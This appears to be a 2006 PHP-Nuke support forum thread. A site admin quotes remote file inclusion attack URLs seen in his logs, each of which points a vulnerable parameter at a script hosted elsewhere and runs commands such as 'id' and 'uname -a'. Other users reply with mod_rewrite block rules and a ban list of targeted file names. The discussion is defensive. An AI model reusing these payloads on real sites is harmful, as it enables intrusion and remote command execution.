PHP Web Host - Quality Web Hosting For All PHP Applications Sign up for PayPal and start accepting credit card payments instantly
  Login or Register
 • Home • Downloads • Your Account • Forums • 

View next topic
View previous topic


Google
 
Web RavenPHPScripts (This Site)
Post new topic   Reply to topic
Author Message
Guardian2003
Site Admin


Joined: Aug 28, 2003
Posts: 5057

PostPosted: Tue Feb 21, 2006 3:55 am Reply with quote Back to top

Perhaps some have seen my statement "Probably the most secure version of nuke ever" on my site over at
Only registered users can see links on this board!
Get registered or login to the forums!
and thought I was issuing a challenge.
The following attempts have been tried (for modules which do not exist Laughing )
Code:
modules/Forums/admin/admin_styles.php?phpbb_root_path=http://saudia.100free.com/asc.txt?&cmd=uname%20-a;id

Code:
/modules/4nAlbum/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:
www.code-authors.com/index.php?cat=http://www.lilspage.de/modules/tool25.dat?cmd=id
Get String:
Only registered users can see links on this board!
Get registered or login to the forums!


Quote:
/modules/My_eGallery/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:
/modules/My_eGallery/public/displayCategory.php?basepath=http://www.clan-ff.net/vwar/tool25.dat?&cmd=id


These are quite obviously some sort of automated attack and needless to say they didnt work but what would be the best way to block such attacks?
View user's profile Send private message Send e-mail Visit poster's website
djmaze
Subject Matter Expert


Joined: May 15, 2004
Posts: 574
Location: http://tinyurl.com/5z8dmv

PostPosted: Tue Feb 21, 2006 7:21 am Reply with quote Back to top

Code:

RewriteCond %{QUERY_STRING} =http://  [NC]
RewriteRule ^.*$ - [F]
View user's profile Send private message Visit poster's website
Guardian2003
Site Admin


Joined: Aug 28, 2003
Posts: 5057

PostPosted: Tue Feb 21, 2006 7:39 am Reply with quote Back to top

Interesting - thanks for that I'll try it and see what develops.
View user's profile Send private message Send e-mail Visit poster's website
djmaze
Subject Matter Expert


Joined: May 15, 2004
Posts: 574
Location: http://tinyurl.com/5z8dmv

PostPosted: Tue Feb 21, 2006 8:06 am Reply with quote Back to top

here's even a better version that also denies ../../ as seen in rush attacks
for example an exploit in file=../../.htaccess
and another for UNION

RewriteCond %{QUERY_STRING} =../ [NC, OR]
RewriteCond %{QUERY_STRING} "%20UNION" [NC, OR]
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]

NOTE: this is will NOT make you 100% safe since phpnuke uses register_globals so an attack can also be made thru POST and COOKIE
View user's profile Send private message Visit poster's website
Guardian2003
Site Admin


Joined: Aug 28, 2003
Posts: 5057

PostPosted: Tue Feb 21, 2006 8:59 am Reply with quote Back to top

Thanks!!
View user's profile Send private message Send e-mail Visit poster's website
evaders99
Moderator


Joined: Apr 30, 2004
Posts: 2887

PostPosted: Tue Feb 21, 2006 9:08 am Reply with quote Back to top

admin_styles.php is a known attack that has hit phpBB systems (and those using phpBB derivates) several times.

Ditto 4nAlbum and My_eGallery using the same displayCategory.php

The attack on index.php is nothing I have seen. Must have been a "cat" variable vulnerable somewhere.

Does Sentinel not block these attacks?

---

For my site not using Sentinel, here's what I have right now.
Using DisError to capture the 404 messages and read the 'REDIRECT_URL'
If it includes anything on 'xmlrpc.php' 'awstats.pl' 'displayCategory.php' 'upgrade_album.php'
They get a banned
View user's profile Send private message Visit poster's website
Guardian2003
Site Admin


Joined: Aug 28, 2003
Posts: 5057

PostPosted: Tue Feb 21, 2006 9:52 am Reply with quote Back to top

evaders - with the exception of the third quote (above) none tripped Sentinel but that is probably due to my sloppy blocker configuration which I'm looking at right now.
View user's profile Send private message Send e-mail Visit poster's website
Display posts from previous:       
Post new topic   Reply to topic

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Forums ©
 

All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2002-2008 by Raven
Proud to be listed at Lobo Links Web Directory

You can syndicate our news using the file xml

CSE HTML Validator Helped Clean up This Page! [Valid RSS] valid RSS 2.0 Valid robots.txt Stop Spam Harvesters, Join Project Honey Pot

Website engines core code is © copyright by PHP-Nuke but has been heavily patched and modified by myself and others.
PHP-Nuke is a free software released under the GNU/GPL.


:: fisubice phpbb2 style by Daz :: PHP-Nuke theme by www.nukemods.com ::

:: fisubice Theme Recoded To 100% W3C CSS & HTML 4.01 Transitional Compliance by Raven and 64bitguy ::

:: W3C CSS Compliance Validation :: W3C HTML 4.01 Transitional Compliance Validation ::

zerosum